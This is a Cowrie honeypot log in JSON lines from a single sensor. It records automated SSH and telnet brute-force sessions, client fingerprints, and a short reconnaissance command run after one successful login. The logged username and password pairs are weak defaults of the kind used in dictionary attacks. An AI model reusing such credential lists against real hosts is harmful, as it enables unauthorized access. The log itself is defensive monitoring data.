{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:83:ba:03:fd:5b:a0:63:47:bb:92:5a:23:50:0e:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsE8yh05d25Z6anKBgNrUsXWunim5cJtlj3L6FaK3+fh3wdbSnWjn97j+ZhhoJdEQ7nGuvwH1/7DK0xpWgcWRSZbgw7WwqPat50WTIVFpmKZwI9sB49MQuD3YTSuUmVbc4x2aNYNcJY06tIZ2hGpv6WP6+9pX0Hsm8cs0li5/VZgYQY8s6MbGcd4TvYWbKUomMfJRlHrCnHmCxuu8oTPfZU4EpPqCACYkbTu4ugzG4aEZ1P+fb3NbBzEMqTCH6uTHZR5cEUoxOU6q72oOGApPaD0sv7FJQH8SM7smJUK1mMvf++hy1lPN3tXgvSLb8Gy/Rf6xxrWOvvoQNE2PU/JY/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.669813Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.793461Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.954011Z","src_ip":"176.65.132.129","session":"d3de7f143b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48826,"dst_ip":"10.17.0.5","dst_port":23,"session":"beced504211e","protocol":"telnet","message":"New connection: 152.42.224.71:48826 (10.17.0.5:23) [session: beced504211e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:10.881454Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55432,"dst_ip":"159.203.135.109","dst_port":22,"session":"84edb748c04b","protocol":"ssh","message":"New connection: 176.65.132.129:55432 (159.203.135.109:22) [session: 84edb748c04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:11.817691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:11.822333Z","src_ip":"176.65.132.129","session":"84edb748c04b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:11.904522Z","src_ip":"176.65.132.129","session":"84edb748c04b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:12.151113Z","src_ip":"176.65.132.129","session":"84edb748c04b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:12.362416Z","src_ip":"176.65.132.129","session":"84edb748c04b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:12.366170Z","src_ip":"176.65.132.129","session":"84edb748c04b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:12.598743Z","src_ip":"176.65.132.129","session":"84edb748c04b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:12.604815Z","src_ip":"176.65.132.129","session":"84edb748c04b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55442,"dst_ip":"159.203.135.109","dst_port":22,"session":"32fd12e7939b","protocol":"ssh","message":"New connection: 176.65.132.129:55442 (159.203.135.109:22) [session: 32fd12e7939b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:15.316869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:15.321191Z","src_ip":"176.65.132.129","session":"32fd12e7939b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:15.403293Z","src_ip":"176.65.132.129","session":"32fd12e7939b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:15.654217Z","src_ip":"176.65.132.129","session":"32fd12e7939b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:16.740000Z","src_ip":"176.65.132.129","session":"32fd12e7939b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38442,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c1e329747a4","protocol":"ssh","message":"New connection: 176.65.132.129:38442 (159.203.135.109:22) [session: 9c1e329747a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:18.541388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:18.546567Z","src_ip":"176.65.132.129","session":"9c1e329747a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:18.631686Z","src_ip":"176.65.132.129","session":"9c1e329747a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:18.878852Z","src_ip":"176.65.132.129","session":"9c1e329747a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:19.964139Z","src_ip":"176.65.132.129","session":"9c1e329747a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.29330229759216,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:21.292896Z","src_ip":"152.42.224.71","session":"bc56198810c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38450,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0774b3bc039","protocol":"ssh","message":"New connection: 176.65.132.129:38450 (159.203.135.109:22) [session: e0774b3bc039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:21.828537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:21.832741Z","src_ip":"176.65.132.129","session":"e0774b3bc039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:21.914923Z","src_ip":"176.65.132.129","session":"e0774b3bc039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:22.161671Z","src_ip":"176.65.132.129","session":"e0774b3bc039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:23.247073Z","src_ip":"176.65.132.129","session":"e0774b3bc039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60362,"dst_ip":"10.17.0.5","dst_port":23,"session":"202743021b88","protocol":"telnet","message":"New connection: 152.42.224.71:60362 (10.17.0.5:23) [session: 202743021b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:23.705184Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60376,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a0b81993441","protocol":"telnet","message":"New connection: 152.42.224.71:60376 (10.17.0.5:23) [session: 6a0b81993441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:24.116411Z"}
{"eventid":"cowrie.session.closed","duration":38.97279739379883,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:24.130743Z","src_ip":"152.42.224.71","session":"3a23bf86d3f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60392,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ecbe1cb6bdc","protocol":"telnet","message":"New connection: 152.42.224.71:60392 (10.17.0.5:23) [session: 3ecbe1cb6bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:24.188601Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":50786,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f96c833901e","protocol":"ssh","message":"New connection: 186.13.24.118:50786 (10.17.0.5:22) [session: 8f96c833901e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:24.221270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:24.226518Z","src_ip":"186.13.24.118","session":"8f96c833901e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:24.384868Z","src_ip":"186.13.24.118","session":"8f96c833901e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jacosta","message":"login attempt [root/jacosta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:25.041082Z","src_ip":"186.13.24.118","session":"8f96c833901e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38460,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb824a3e7c10","protocol":"ssh","message":"New connection: 176.65.132.129:38460 (159.203.135.109:22) [session: cb824a3e7c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:25.119367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:25.123985Z","src_ip":"176.65.132.129","session":"cb824a3e7c10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:25.207996Z","src_ip":"176.65.132.129","session":"cb824a3e7c10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:25.454494Z","src_ip":"176.65.132.129","session":"cb824a3e7c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.62036156654358,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:25.687617Z","src_ip":"152.42.224.71","session":"06bf9dba4081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:26.198600Z","src_ip":"186.13.24.118","session":"8f96c833901e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:26.538940Z","src_ip":"176.65.132.129","session":"cb824a3e7c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.413326263427734,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:26.590874Z","src_ip":"152.42.224.71","session":"974a02a77b15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37746,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd080afebaf9","protocol":"ssh","message":"New connection: 176.65.132.129:37746 (159.203.135.109:22) [session: dd080afebaf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:28.565765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:28.569796Z","src_ip":"176.65.132.129","session":"dd080afebaf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:28.652372Z","src_ip":"176.65.132.129","session":"dd080afebaf9","protocol":"ssh"}
